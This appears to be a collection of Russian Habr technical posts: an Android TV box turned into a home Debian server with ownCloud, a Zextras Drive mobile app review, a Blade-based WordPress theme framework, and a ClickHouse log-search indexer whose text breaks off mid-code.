После долгих поисков и сравнений мною был выбран актуальный на текущий момент девайс на RK3188-чипсете: K-R42, 4-х ядерный ЦПУ, с 2Гб озу и 4Гб флеш-памяти (хотя на коробке было гордо указано 8Гб) и 4-х ядерным графически ядром Mali400 на андроиде 4.2.2.
Конечно, все нижеописанное вполне подходит и для других подобных устройств, подключаемых через HDMI к телевизору, но для меня существенным плюсом в выборе было наличие полноценного корпуса для нормального теплообмена, оптического разъема SPDIF для звука и современного чипсета.
Стоимость K-R42 колеблется в районе 90-120$ (geekbuying.com, aliexpress.com вместе с пересылкой), что правда дороже 2-х ядерных стиков/боксов, но сопоставимо со многими другими на том же RK3188 чипсете.
Стоит отметить, что как медиа-центр он работает на ура: актуальный на сегодня XBMC 12.2 Frodo на нем установился и запустился без каких-бы то ни было проблем, управление с пульта довольно гладкое и с этим особых проблем не возникало. Благодаря внешней антенне беспроводная связь работает очень стабильно, нагревается в процессе работы не так чтобы сильно, но под нагрузкой заметно теплый.
#### 1. Ставим линукс.
Какой – мне особой разницы не было, но для простоты выбрал Debian wheezy.
К сожалению, под Mali400 нет работающих драйверов, чтобы получить полноценное ускорение 3D-графики, поэтому вариантов пока нет – надо использовать chroot-окружение, вместо того чтобы перепрошивать девайс начисто на линукс (соответствующие руководства есть уже в сети).
Благо для этого под андроид есть замечательный app: Linux Deploy, дающий на выбор любой из существующих мэйнстрим-дистрибутивов.
Детально описывать не буду, установка довольно тривиальна: достаточно запустить приложение, выбрать желаемую конфигурацию и нажать старт.
Вставив в медиабокс microSD-карту на 8Гб, я выбрал установку на раздел SD-карты без графического окружения(есть конечно же и опция для желающих получить графический десктоп через VNC), в результате установился Дебиан, с автозагрузкой SSH и sudo-пользователем **android** с паролем **changeme**.
Заходим по SSH для дальнейшей настройки:
`ssh android@`
---
#### 2. Пользователи и прочая...
Пароль пользователя android естественно стоит сменить с **changeme** на что-нибудь посеръезнее:
`passwd`
а также для рута отключим возможность логина по SSH в /etc/ssh/sshd\_config:
`sudo nano /etc/ssh/sshd_config`
```
PermitRootLogin yes → PermitRootLogin no
```
если необходимо создать своего полноценного пользователя, то
`sudo adduser username`
и не забудем добавить его в группы, в которых присутсвует пользователь „android“:
`sudo adduser username aid_system aid_radio aid_bluetooth aid_graphics aid_input aid_audio aid_camera aid_log aid_compass aid_mount aid_wifi aid_adb aid_install aid_media aid_dhcp aid_sdcard_rw aid_vpn aid_keystore aid_usb aid_drm aid_available aid_gps aid_media_rw aid_mtp aid_drmrpc aid_nfc aid_sdcard_r aid_shell aid_cache aid_diag aid_net_bt_admin aid_net_bt aid_inet aid_net_raw aid_net_admin aid_net_bw_stats aid_net_bw_acct`
В противном случае ваш новый пользователь может не иметь доступа к некоторым устройствам/интернету и т.п.
Необходимые группы можно всегда посмотреть по
`groups android`
Сделаем теперь обновление свежеустановленной системы:
```
sudo apt-get update
sudo apt-get dist-upgrade
```
инсталлируем таскменеджер:
`sudo apt-get install cron`
Чтобы обеспечить доступ к нашему серверу извне, регистрируемся на каком-нибудь DynDNS-сайте (dyn.com, noip.com и т.п.), и инсталлируем клиента для обновления нашего динамического IP-адреса(я использовал ddclient):
`sudo apt-get install ddclient`
Вот пример конфигурации ddclient:
```
# Configuration file for ddclient generated by debconf
#
# /etc/ddclient.conf
protocol=dyndns2
use=web, web=checkip.dyndns.com/, web-skip='IP Address'
server=www.dyndns.com
login=myserveruser
password='mydyndnspassword'
myserver.dyndns.org
```
На роутере необходимо разрешить Port Forwarding из интернета для портов 22(SSH), 80(HTTP), 443(HTTPS) на IP нашего „микро“-сервера.
---
#### 3. Ставим LAMP
Здесь все достаточно тривиально:
```
sudo apt-get update
sudo apt-get install apache2 mysql-server php5 php5-curl php5-gd php5-mysql php-apc
```
Для удобства дальнейшей настройки ставим графическую панель (вебмин)
```
cd /tmp
wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
sudo dpkg -i webmin_1.660_all.deb
sudo apt-get -f install
sudo service webmin start
```
*(В целях экономии ресурсов вебмин я все время запускаю вручную только когда нужно)*
Теперь можно заходить на *https://:10000* с пользователем android и настраивать все что душе угодно.
Если это еще не сделано, перезагружаем вебсервер, чтобы активировать все установленные нами модули:
`sudo service apache2 restart`
---
#### 4. Автозагрузка
Для того, чтобы наши службы-демоны автоматически загружались в chroot-окружении при старте нашего бокса, в Linux Deploy предоставляется скрипт /etc/init.d/myscrypt
Мой выглядит так:
```
#!/bin/sh
case "$1" in
start)
/bin/mount -a
/etc/init.d/mysql start
/etc/init.d/apache2 start
/etc/init.d/ddclient start
/etc/init.d/cron start
;;
stop)
/etc/init.d/apache2 stop
/etc/init.d/mysql stop
/etc/init.d/ddclient stop
/etc/init.d/cron stop
/bin/umount /mnt/usb
;;
*)
echo "Usage: $0 {start|stop}"
;;
esac
```
При „выключении“ медиаплеера с пульта устройство вместо полного отключения переходит в дежурный режим(многие в сети считают эту особенность недостатком, но в нашем случае является неоспоримым достоинством!), при этом все запущенные службы продолжают работать. Загрузка процесора порядка 5%, и всего на одно ядро из 4-х!
---
#### 5. Устанавливаем ownCloud
5-ой стабильной версией этого облачного сервиса можно уже вполне комфортно пользоваться. Очень подробно установка owncloud описана на официальной странице(<http://doc.owncloud.org/server/5.0/admin_manual/>), здесь приведу основные шаги относительно к нашей инсталляции:
* Создаем базу данных, например через вебмин-панель, и пользователя для этой базы с полными правами на нее.
* Инсталлируем owncloud. На текущий момент появился репозиторий, который сильно упрощает процесс:
```
sudo echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/Debian_7.0/ /' >> /etc/apt/sources.list.d/owncloud.list
sudo apt-get update
sudo apt-get install owncloud
```
Теперь заходим в браузере на
http:///owncloud/
и завершаем настройку owncloud: вводим данные базы MySQL.
В случае, если инсталлятор жалуется на невозможность использования .htaccess,
изменяем в файле /etc/apache2/sites-enabled/000-default AllowOverride на All:
`sudo nano /etc/apache2/sites-enabled/000-default`
```
…
AllowOverride None → AllowOverride All
…
```
а также и в файле /etc/apache2/sites-enabled/default-ssl, если предполагается использовать owncloud с SSL:
`sudo nano /etc/apache2/sites-enabled/default-ssl`
```
…
AllowOverride None → AllowOverride All
…
```
и перезагружаем вебсервер:
`sudo service apache2 restart`
Дальнейшая настройка owncloud обычно не вызывает проблем и подробно описана в руководстве адмнинистратора.
##### 5.1 Если мало места
Размер „облачного“ хранилища при описанной установке ограничен свободным местом на SD-карте. Удобным способом увеличить объем доступного места является вынесение папки owncloud/data на внешний USB-HDD.
Для этого форматируем любым способом внешний USB-диск (например его первый раздел) как ext4, и указываем его точку монтирования в /etc/fstab:
```
sudo mkdir /mnt/usb_hdd
sudo chmod a+rwx /mnt/usb_hdd
sudo nano /etc/fstab
```
```
…
/dev/block/sda1 /mnt/usb_hdd ext4 noatime,acl,user_xattr 1 1
…
```
Монтируем диск
`mount /mnt/usb_hdd`
и переносим owncloud/data на него:
```
sudo mv /var/www/owncloud/data /mnt/usb_hdd/
sudo ln -s /mnt/usb_hdd/data /var/www/owncloud/data
```
Теперь объем нашего хранилища ограничен только свободным местом на внешнем USB-диске.
---
#### 6. Бэкап по плану
Легко и быстро, с помощью duplicity, организовывается регулярный backup на внешний сервер, при желании также с шифрованием.
Если основной файл-сервер как у меня расположен в той же сети и поддерживает wake-on-lan, то этот процесс можно полностью автоматизировать(запуск файл-сервера включительно).
`sudo apt-get install wakeonlan duplicity`
Мы создадим папку для бэкапов (например /media/backup/owncloud) на файл-сервере 192.168.0.2 с MAC-адресом 33:d0:ab:dd:11:c1,
для которой локальный пользователь user1 имеет права на запись.
Настраиваем беспарольный доступ для пользователя root по SSH на файл-сервер:
```
sudo su
ssh-keygen -t rsa
(пароль не вводим, просто жмем ввод)
ssh-copy-id -i .ssh/id_rsa.pub user1@192.168.0.2
exit
```
теперь вносим задания для таскменеджера в crontab:
`sudo crontab -e`
```
49 23 * * * /usr/bin/wakeonlan 33:d0:ab:dd:11:c1
0 0 * * sun /usr/bin/duplicity full --no-encryption --volsize 100 --exclude /tmp --exclude /proc --exclude /sys / rsync://user1@192.168.0.2//media/backup/owncloud
0 0 * * 1-6 /usr/bin/duplicity --no-encryption --volsize 100 --exclude /tmp --exclude /proc --exclude /sys / rsync://user1@192.168.0.2//media/backup/owncloud
0 1 * * sun /usr/bin/duplicity remove-all-but-n-full 2 --force rsync://user1@192.168.0.2//media/backup/owncloud
```
По этому плану будет производится бэкап всего нашего chroot-окружения, по воскресениям полный, в другие дни инкрементальный, с удалением старых записей. Если файл-сервер спит, он будет разбужен заранее по сети (конечно если он поддерживает эту функцию).
---
Ну вот, имеем одновременно работающий медиа-центер и веб-сервер с облачным хранилищем.
Конструктивные критика и предложения приветствуются. | https://habr.com/ru/post/198492/ | null | ru | null |
# Обзор мобильного приложения Drive
Ранее в нашем блоге мы рассказывали об on-premise решениях [Zextras Team Pro](https://habr.com/ru/company/zimbra/blog/538014/) и [Zextras Drive](https://habr.com/ru/company/zimbra/blog/541570/), позволяющих создать корпоративное хранилище файлов, а также корпоративный групповой чат и систему для видеоконференций с большим количеством участников на базе Zimbra Open-Source Edition. Оба этих решения, помимо веб-клиента, можно использовать и в разработанных компанией Zextras мобильных приложениях Team и Drive, доступных для Android и iOS. Ранее мы публиковали [обзор приложения Team](https://habr.com/ru/company/zimbra/blog/547528/), а в данной статье мы подробно разберем интерфейс и функциональность мобильного приложения Zextras Drive для iOS и Android.
### Экран входа
Экран входа у обоих приложений полностью идентичен. Осуществить вход в мобильные приложения можно двумя способами. Первый — ввести имя учетной записи, пароль, а также адрес сервера для входа, второй — войти с помощью специального QR-кода, который можно сгенерировать в веб-клиенте Zimbra OSE.
 
Вход по QR-коду более безопасен, так как позволяет не сохранять на устройстве логин и пароль пользователя. Благодаря этому в случае утери устройства или даже его целенаправленного хищения, злоумышленники не смогут извлечь из него аутентификационные данные и скомпрометировать учетную запись пользователя.
 
Чтобы сгенерировать QR-код для входа в мобильное приложение, необходимо обновить Zextras Suite до версии не ниже 3.1.8 и развернуть расширение Zextras Auth. Делается это в командной строке при помощи следующих команд:
```
sudo su - zimbra
zxsuite auth doDeployAuthZimlet
zmprov fc zimlet
```
Обращаем ваше внимание на то, что для корректной работы Zextras Auth и генерации QR-кодов требуется, чтобы в Zimbra были настроены параметры zimbraPublicServiceHostname, zimbraPublicServicePort и zimbraPublicServiceProtocol. В нашем случае эти настройки будут выглядеть следующим образом:
```
zmprov mcf zimbraPublicServiceHostname example.ru
zmprov mcf zimbraPublicServiceProtocol https
zmprov mcf zimbraPublicServicePort 443
```
После этого в списке зимлетов в веб-клиенте Zimbra OSE появится Zextras Auth. Нажатие на него открывает окно, на котором отображаются пароли учетной записи. Изначально в списке нет паролей, для добавления нового пароля следует нажать на кнопку «Новый Пароль». В открывшемся окне можно указать название приложения, в котором будет использоваться пароль, а также его тип: текст или QR-код.
Текстовые пароли используются для подключения приложений, работающих по протоколу Exchange ActiveSync. Возможность создания отдельного пароля для EAS присутствовала и раньше в расширении Zextras Mobile, теперь же эта функциональность полностью перенесена в Zextras Auth. Преимуществом Zextras Auth является то, что данное расширение позволяет пользователю создавать сразу несколько паролей для нескольких приложений без участия администратора.
QR-коды в настоящее время могут использоваться только для подключения мобильных приложений Zextras Drive и Zextras Team. Сгенерированный QR-код «сгорает» после первого же входа и не может использоваться для повторного входа.
Для того, чтобы войти по QR-коду, достаточно в мобильном приложении Team или Drive нажать на кнопку «SCAN QR CODE» и навести камеру на экран монитора с QR-кодом.
### Мобильное приложение Zextras Drive
Мобильные приложения Drive для iOS и Android отличаются внешне, но при этом имеют абсолютно схожую функциональность. Они позволяют скачивать и загружать файлы в хранилище Zextras Drive и предоставлять доступ к ним другим пользователям. Также мобильные приложения Drive для iOS и Android позволяют управлять данными — создавать папки, копировать, перемещать, переименовывать и удалять файлы в хранилище.
Администратор сервера Zimbra OSE, используя консоль администратора, может ограничивать те или иные функции пользователю Zextras Drive. В частности, он может:
* Включить или выключить возможность для пользователя предоставлять доступ к своим файлам
* Ограничить максимальный размер загружаемого файла
* Ограничить время хранения версий файла
* Ограничить число сохраняемых версий файла
### iOS
Интерфейс приложения Zextras Drive на iOS состоит из пяти разделов: Делюсь я, Поделились со мной, Главная, Помечено и Корзина.
* В разделе «Делюсь я» отображаются все файлы, к которым пользователь Zextras Drive предоставил доступ своим коллегам
* В разделе «Поделились со мной» отображаются все файлы, к которым коллеги пользователя предоставили доступ пользователю Zextras Drive
* В разделе «Главная» отображаются все файлы, которые находятся в хранилище Drive пользователя
* В разделе «Помечено» отображаются все файлы, которые были помечены пользователем
* В разделе «Корзина» отображаются удаленные файлы
 
Долгое нажатие на файл приводит к появлению контекстного меню, в котором доступны следующие разделы:
* Детали — Отображает детали файла, такие как размер, владелец, последнее изменение, описание, публичная ссылка и список сотрудников, имеющих к нему доступ. В этом разделе можно создать публичную ссылку на файл
* Открыть с помощью — Позволяет открыть файл с помощью установленного на мобильном устройстве приложения
* Переименовать — Позволяет изменить имя файла
* Перенести — Позволяет перенести файл в указанную папку
* Копировать — Позволяет создать копию файла в указанной папке
* Отмечено — Позволяет пометить файл, чтобы он попал в раздел «Помечено»
* Сохранить копию оффлайн — Позволяет сохранить файл на устройство или в iCloud Drive
* Добавить сотрудника — Позволяет предоставить сотруднику доступ к файлу
* Удалить — Позволяет переместить файл в корзину
* Восстановить — Позволяет переместить файл из корзины.
 
В окне каждого из разделов присутствуют строка поиска, позволяющая быстро находить файлы и значок «Настройки», нажатие которого приводит к открытию окна с настройками приложения. Они включают в себя:
* Данные об учетной записи
* Данные об использовании диска
* Данные об использовании квоты почтового ящика
* Свяжитесь с нами - Открывает форму обратной связи для отправки сообщения разработчикам приложения
* Лицензия - Открывает соглашение конечного пользователя
* Сторонние лицензии — Открывает список лицензий программных продуктов, использовавшихся при создании приложения
* Файлы — Открывает настройки скачивания файлов. Среди них скачивание файлов только по Wi-Fi, сжатие медиафайлов и очистка локального кэша.
* Тема — Позволяет переключаться между светлой и темной темой
* Выход — Выход из учетной записи
* Версия — Отображает текущую версию приложения.
 
В разделе «Главное» присутствуют две дополнительные кнопки. Первая из них, в форме облака, открывает менеджер загрузок, в котором отображаются загруженные файлы. Вторая кнопка открывает диалог загрузки новых файлов в Drive и управления хранящимися в нем файлами. В открывающемся диалоге присутствуют следующие разделы:
* Редактировать — Позволяет выбрать несколько файлов, чтобы переносить одновременно перенести или копировать в другую папку, либо одновременно пометить их или удалить
* Создать папку — Позволяет создать новую папку в выбранной локации
* Включить камеру — Запускает камеру, а сделанный снимок или видеоролик сохраняет в Drive
* Выбрать из галереи — Позволяет загружать фотографии и видеоролики из галереи устройства
* Выбрать из документов - Позволяет загружать фотографии и видеоролики из iCloud Drive
* Сканирование документа — Позволяет при помощи камеры создать скан бумажного документа.
 
### Android
Интерфейс приложения Zextras Drive для Android также состоит из пяти разделов: Все файлы, Делюсь я, Поделились со мной, Помечено и Корзина. Строку с разделами можно прокручивать влево и вправо.
* В разделе «Все файлы» отображаются все файлы, которые находятся в хранилище Drive пользователя.В разделе «Делюсь я» отображаются все файлы, к которым пользователь Zextras Drive предоставил доступ своим коллегам
* В разделе «Поделились со мной» отображаются все файлы, к которым коллеги пользователя предоставили доступ пользователю Zextras Drive
* В разделе «Помечено» отображаются все файлы, которые были помечены пользователем
* В разделе «Корзина» отображаются удаленные файлы
В правом верхнем углу каждого раздела находится кнопка поиска, благодаря которой можно искать файлы в каждом из разделов. Кнопка "+" в нижнем правом углу экрана позволяет создать новую папку, либо загрузить новый файл.
 
Справа от каждого файла в приложении Zextras Drive есть две кнопки — звездочка, при нажатии на которую файл помечается и появляется в разделе «Помечено», а также кнопка в виде трех точек, при нажатии на которую появляется контекстное меню, в котором доступны информация о файле, копирование, перемещение и удаление файла, а также опции по скачиванию файла и предоставлению общего доступа к нему.
 
Для того, чтобы создать ссылку на файл необходимо зайти в раздел «Информация» и нажать на поле «У кого есть доступ». Откроется диалог создания ссылки на файл, в котором можно будет выбрать тип ссылки — публичная или только для сотрудников. Использование публичной ссылки позволяет устанавливать пароль на скачивание файла.
 
При долгом нажатии на файл появляется возможность выбора нескольких файлов. Значок поиска в верхнем правом углу при этом меняется на кнопку в виде трех точек. Нажатие на нее вызывает контекстное меню, в котором можно перенести, копировать, пометить или удалить выбранные файлы, а также загрузить их на устройство.
 
В верхнем левом углу окна приложения находится кнопка «Параметры», которая вызывает боковое меню с настройками приложения. Здесь также присутствует несколько разделов:
* Данные об учетной записи
* Настройки файлов - Открывает настройки скачивания файлов. Среди них скачивание файлов только по Wi-Fi, сжатие медиафайлов и очистка локального кэша
* Настройки темы - Позволяет переключаться между светлой и темной темой
* Свяжитесь с нами - Открывает форму обратной связи для отправки сообщения разработчикам приложения
* Лицензия - Открывает соглашение конечного пользователя
* Сторонние лицензии — Открывает список лицензий программных продуктов, использовавшихся при создании приложения
 
По всем вопросам, связанными c Zextras Suite Pro и Team Pro вы можете обратиться к Представителю компании «Zextras» Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com | https://habr.com/ru/post/548306/ | null | ru | null |
# Структуризация проекта в WordPress, Laravel Blade и не только
WordPress можно любить, можно не любить, но сложно не согласиться с тем, что он решает проблемы. В последнее время разработка под WordPress ушла далеко от создания примитивных блогов с 4-5 информационными страницами. Все больше и больше компаний используют WordPress как инструмент для создания полноценных пользовательских систем с большим количеством внутренней логики. Печальная правда в том, что он совершенно не приспособлен для этого. Но увы, понимание этого приходит только с очередным запуском проекта в production.
Издержки функциональности приводят к тому, что проект становится очень сложно поддерживать. Вся логика, которая была заложена в проект плохо структурирована, плохо описана, в большинстве случаев лишена тестов. Если проект разрабатывал один человек, то понимание внутренней составляющей проекта уходит вместе с этим человеком. И в итоге компании достается очередной legacy code.
Возможно, ситуация, описанная мною вам знакома, возможно нет. После 5 лет разработки в экосистеме WordPress я понял, что нужно что-то менять. Нужно переосмыслить структуризацию проекта, ввести правила организации логики и вывода, решить проблему повторяемости кода. Так и родилась идея написать wordpress theme framework — Classy.
Если вы разрабатывали темы под WordPress, вы знаете, что каждый view, будь то представление того, как будет выглядеть открытая статья (single-post.php), или страница со списком всех статей (archive-post.php), требует репрезентации в основной директории темы. Подобное решение возможно имеет смысл при несложном проекте, но как только проект обрастает логикой — это становится проблемой.
**Пример количества файлов на средней сложности проекте:**├── 404.php
├── README
├── archive-gallery.php
├── archive-inspiration.php
├── archive-rent.php
├── archive-vendor.php
├── attachment.php
├── category.php
├── comments.php
├── footer-rent.php
├── footer-vendor.php
├── footer.php
├── functions.php
├── gulpfile.js
├── header-rent.php
├── header-vendor.php
├── header.php
├── image.php
├── index.php
├── page-diy-ideas.php
├── page-edit-vendor-profile.php
├── page-local-blogs.php
├── page-login.php
├── page-my-favorites.php
├── page-my-listings.php
├── page-my-messages.php
├── page-my-profile.php
├── page-new-listing.php
├── page-password-reset.php
├── page-register.php
├── page-vendor-guide.php
├── page-vendors.php
├── page-wedding-ideas.php
├── page.php
├── screenshot.png
├── search.php
├── searchform.php
├── sidebar-home.php
├── sidebar-rent.php
├── sidebar-vendor.php
├── sidebar-filters.php
├── sidebar-general.php
├── sidebar-user.php
├── single-inspiration.php
├── single-rent.php
├── single-gallery.php
├── single-vendor.php
├── single.php
├── style.css
├── tag.php
├── taxonomy-location.php
├── template-about.php
├── template-activate-account.php
├── template-become-a-member.php
├── template-contact.php
├── template-default.php
├── template-faq.php
├── template-grab-a-badge.php
├── template-map.php
├── template-new-inspiration.php
├── template-new-rent.php
└── template-welcome.php
«Это все и мы знаем, но что ты предлагаешь?” — спросите вы. А я предлагаю простую вещь, которая с недавнего апдейта WordPress, а именно с версии 4.4 наконец стала полностью доступна — вынести все view в соответствующую папку, а в корне оставить просто index.php, который будет брать на себя весь render:
```
Classy::render();
```
и то, что раньше выглядело как:
├── archive-rent.php
├── single-rent.php
├── header-rent.php
├── footer-rent.php
└── sidebar-rent.php
теперь выглядит как:
├── views
│ ├── rent
│ │ ├──archive.blade.php
│ │ ├──single.blade.php
│ │ ├──layout.blade.php
Организованнее? Думаю, да.
### Как это работает?
Если вы знакомы с иерархией WordPress, то знаете, что при обработке запроса, он пытается найти самое специфичное представление для данного запроса и спускается вниз пока не дойдет до index.php, собственно, того файла, на который мы и поставили основной Classy::render().
В данном случае Classy::render выполняет две функции, одну для поиска view (ClassyView::get\_template()) и другую для поиска scope (ClassyScope::get\_scope()). Эти 2 функции, повторяют алгоритм поиска view который используют wordpress, но делают они это раздельно, дважды. Это позволяет нам иметь независимую архитектуру представления и данных.
Зачем, спросите вы? Очень часто возникают ситуации при разработке, когда одни и те же данные необходимо отобразить по-разному. К примеру, у нас есть множество templates, которые являются не более, чем разновидностью дизайна для page.php. Так почему же не прописать один раз данные в scope/page.php и просто разработать отдельные view для templates: view/page/dark.php, view/page/light.php, и т.д. Вследствие этого, мы уменьшаем количество повторяемого кода, так как scope у нас приготавливается единожды.
### Так что там с WordPress 4.4?
Ах да, совсем забыл рассказать про это. В WordPress 4.4 наконец-то появилась возможность модифицировать список шаблонов, которые отображаются пользователю в административной панели. Теперь, благодаря хуку “*theme\_page\_templates*”, мы можем этот список переписывать и добавлять в него наши зарегистрированные по новому способу шаблоны.
А регистрируются они очень просто. К примеру, мы хотим создать шаблон about. Для этого мы создаем представление view/page/about.blade.php и вверху файла указываем Template Name: About. То есть, в конечном счете, наш view будет выглядеть так:
```
{{-- Template Name: About --}}
@extends('base.default')
@section('content')
@if ($post)
{{ $post->title() }}
====================
{{ $post->content() }}
@endif
@stop
```
### Концепция моделей
К сожалению, в WordPress не используются по умолчанию слои абстракции данных, но это необходимо.
Вместо того, чтобы писать очередную prefix\_vendor\_get\_posts, почему бы не использовать класс Vendor как модель, а get\_posts как обычный ее метод. Этот, казалось бы, простой способ сэкономит вам кучу сил во время поддержки проекта, а, главное, позволит писать функционал с меньшим количеством багов.
В нашем случае есть модель — ClassyPost, которую может расширить любая другая модель custom post type.
### Laravel Blade
Использование template engine в разработке WordPress — дело каждого, но опыт показал, что он помогает уменьшить время разработки проекта, делая его более структурированным, а код приятным и легким для чтения. До недавних пор я использовал Timber, который является имплементацией template engine — Twig, но в нем есть ряд минусов:
1) Выполнение php функций. Думаю тут можно обойтись без комментариев, потому что оно выглядит вот так:
```
{{function('edit_post_link', 'Edit', '', '')}}
```
В то время, как Laravel Blade позволяет выполнять php код и та же самая функция будет выглядеть так:
```
{{ edit_post_link('Edit', '', '') }}
```
2) Скорость. Timber не самый быстрый фреймворк и его основной проблемой является перегруженность функционалом. На маленьких проектах это незаметно, но когда вы имеете дело с проектами с большей посещаемостью — это становится болевой точкой. Моей же идеей было сохранить минималистичность фреймворка, чтобы там было только то, что действительно используется в проекте.
### Заключение
Проект Classy является полностью Open-Source. Моей изначальной идеей было помочь решить проблему с организацией проекта в WordPress, с которой сталкиваюсь я и мои коллеги и, надеюсь, эта реализация поможет и другим. В текущей реализации возможны баги, но я буду активно работать над их устранением. С нетерпением жду ваших отзывов о проделанной работе.
Репозиторий [в GitHub](https://github.com/anrw/classy). | https://habr.com/ru/post/301848/ | null | ru | null |
# Разрабатываем систему real-time fulltext-поиска по error-логам на основе ClickHouse от Яндекса
**UPDATE из будущего:** Не используйте этот подход! Для поиска логов намного лучше подходит простой поиск по регулярному выражению или подстроке встроенными средствами ClickHouse. Эта статья была написана давно, как интересный эксперимент, и у меня на тот момент не. было полного понимания того, как ClickHouse работает и как его лучше всего готовить. Я вас предупредил. Привет участникам телеграм-чатика «ClickHouse не тормозит»!
В этой статье я расскажу о том, как разработать систему для индексирования и полнотекстового поиска error-логов (или любых других логов) на основе СУБД от Яндекса под названием ClickHouse. Про саму базу Яндекс писал на Хабре сначала [когда база была закрытой](https://habrahabr.ru/company/yandex/blog/273305/), а потом [когда они её заопенсорсили](https://habrahabr.ru/company/yandex/blog/303282/). База данных в первую очередь предназначена для аналитики и для реализации сервиса Яндекс.Метрика, но может на самом использоваться для чего угодно, если вам подходит загружать данные пачками, удалять их тоже огромными пачками и никогда не обновлять отдельные строки.
Что мы будем делать
===================
Мы будем реализовывать систему для индексирования и поиска по error-логам. При этом, считается, что сами логи вы уже сумели доставить на центральный сервер (или несколько серверов) и уже засунули сами тексты сообщений в базу, то есть у вас уже есть таблица в какой-нибудь базе данных примерно следующего вида:
```
CREATE TABLE Messages (
message_id BIGINT PRIMARY KEY AUTO_INCREMENT,
created_ts DATETIME,
message_text BLOB
)
```
Мы научимся быстро отдавать результаты поиска по такому логу (то есть, всегда отсортированные по времени) и индексировать его в режиме реального времени.
Почему не ElasticSearch / Sphinx / MySQL / другое\_решение?
===========================================================
Мне кажется интересным посмотреть, что из себя представляет ClickHouse, и какие задачи с его помощью можно решать. Целью статьи является дать людям обзор и пищу для размышления, нежели дать готовое решение. Elastic, Sphinx и прочие представляют из себя готовые движки для поиска, тогда как ClickHouse является базой данных общего назначения, из которой можно слепить всё, что угодно. Также, у меня есть мнение, что система поиска, представленная в статье на основе ClickHouse будет справляться с задачей поиска по логам лучше, чем Sphinx, и при этом не нужно будет использовать 2 вида индексов (реалтайм и обычный). Ваш опыт может отличаться, поэтому рекомендую сначала попробовать сделать прототип перед тем, как внедрять такую систему в продакшен.
Установка сервера
=================
Поручите задачу установки ClickHouse ([github](https://github.com/yandex/ClickHouse)) вашему системному администратору или [поставьте его сами из докера](https://hub.docker.com/r/yandex/clickhouse-server/), если вы не хотите ничего решать, или вам просто лень. Если будете собирать сами из исходных кодов, [вам потребуется до 30 гб места](https://habrahabr.ru/company/yandex/blog/303282/#comment_9659820), имейте это в виду.
Установка клиента
=================
Если у вас в системе почему-то нет curl или php, установите их. Дальнейшие примеры будут пользоваться curl в качестве API к базе и PHP для написания системы индексации и поиска.
Подготавливаем структуры данных для индекса
===========================================
Как правило, структуры для полнотекстового поиска в движках для поиска весьма простые. Структура называется [Inverted Index](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D0%B2%D0%B5%D1%80%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81), и мы с вами её реализуем, в немного упрощенном виде. Мы будем пользоваться движком «по умолчанию», рекомендуемым для данных, имеющих как первичный ключ, так и дату — [MergeTree](https://clickhouse.yandex/reference_ru.html#MergeTree):
```
CREATE TABLE FT (
EventDate Date,
word_id UInt32,
message_id UInt64
) ENGINE=MergeTree(EventDate, (word_id, message_id), 8192);
```
Чтобы создать таблицу в базе, можно воспользоваться следующей командой:
```
$ cat create.sql | curl 'http:/hostname:8123/?query=' --data-binary @-
```
В этой команде в файле create.sql должен лежать запрос, который нужно выполнить, а hostname — это хост с поднятым ClickHouse, 8123 — дефолтный порт.
В указанной выше структуре word\_id — это id слова в словаре (который мы создадим позже, в словаре хранится соответствие word\_text => word\_id), а message\_id — это id соответствующей записи в таблице с логами (аналог document\_id для Sphinx).
Параметры для MergeTree движка: первое поле EventDate означает имя колонки с датой события, вторая колонка (word\_id, message\_id) определяет первичный ключ (по сути, обычный индекс) и 8192 — это настройка, влияющая на гранулярность индекса, мы её оставим по умолчанию.
MergeTree сортирует данные по первичному ключу и разбивает их по дате, поэтому поиск по конкретному дню и конкретному слову с сортировкой по message\_id должен быть весьма быстрым.
Создаем структуры для словаря
=============================
Для того, чтобы заполнить этот индекс, нам нужна структура типа «словарь», которая нужна для того, чтобы хранить числа в ClickHouse вместо строк. Словарь можно создать в базе данных, и если это MySQL, то структура будет выглядеть следующим образом:
```
CREATE TABLE Words (
id int(11) unsigned NOT NULL AUTO_INCREMENT,
word varchar(150) COLLATE ascii_bin NOT NULL DEFAULT '',
PRIMARY KEY (id),
UNIQUE KEY word (word)
) ENGINE=InnoDB DEFAULT CHARSET=ascii COLLATE=ascii_bin;
```
Обратите внимание на ASCII-сравнение, это позволяет сильно увеличить производительность текстовых индексов в случае, когда все слова на английском языке. Если у вас не все логи на английском языке, то ~~рекомендую пересмотреть свои взгляды~~ сравнение можно оставить по умолчанию (utf8\_unicode\_ci).
Процесс индексирования
======================
Для того, чтобы управлять процессом индексации и чтобы инициировать начальное индексирование, можно завести отдельную таблицу в MySQL с очередью для сообщений, которые мы ещё не проиндексировали:
```
CREATE TABLE IndexQueue (
message_id bigint(20) unsigned NOT NULL DEFAULT '0',
shard_id int(11) NOT NULL,
PRIMARY KEY (shard_id,message_id)
);
```
Чтобы наполнить эту таблицу в первый раз, можно использовать следующий запрос:
```
INSERT IGNORE INTO IndexQueue (message_id, shard_id) SELECT message_id, message_id % 4 FROM Messages
```
Здесь 4 — это количество потоков индексатора, которые мы будем использовать. На PHP7 код из примера ниже дает производительность примерно 3,5 мб/сек на один процесс, в 4 потока соотвественно получается 14 мб/сек. Если вы пишете больше error-логов, чем 14 мб/сек, то вероятно вам нужно срочно чинить ваш продакшен и вам не до того, что полнотекстовый поиск немного отстает :).
Алгоритм индексатора будет следующим:
1. Посмотреть записи в очереди (IndexQueue) для указанного шарда
2. Выбрать пачку записей и выделить в каждом сообщении слова и сложить в массив $index вида message\_id => array(word1, ..., wordN)
3. Для каждого слова найти соответствующий word\_id в словаре, и если такого слова ещё нет, то добавить
4. Вставить в индекс в ClickHouse записи по всем словам всех сообщений
Ниже приведен немного упрощенный код для разбора очереди и индексации, вам его придется доработать самостоятельно, если вы хотите его использовать у себя:
**Упрощенная реализация индексатора на PHP**
```
const CH_HOST = ':8123';
const MAX\_WORD\_LEN = 150; // должно соответствовать тому, что в таблице Words
$mysqli = mysql\_connect(...); // коннект к базе
$limit = 10000; // максимальный размер пачки сообщений при индексации
$shard\_id = intval($argv[1] ?? 0); // номер шарда (указывается первым аргументом скрипту, если не указан, то будет 0)
echo "Indexing shard $shard\_id\n";
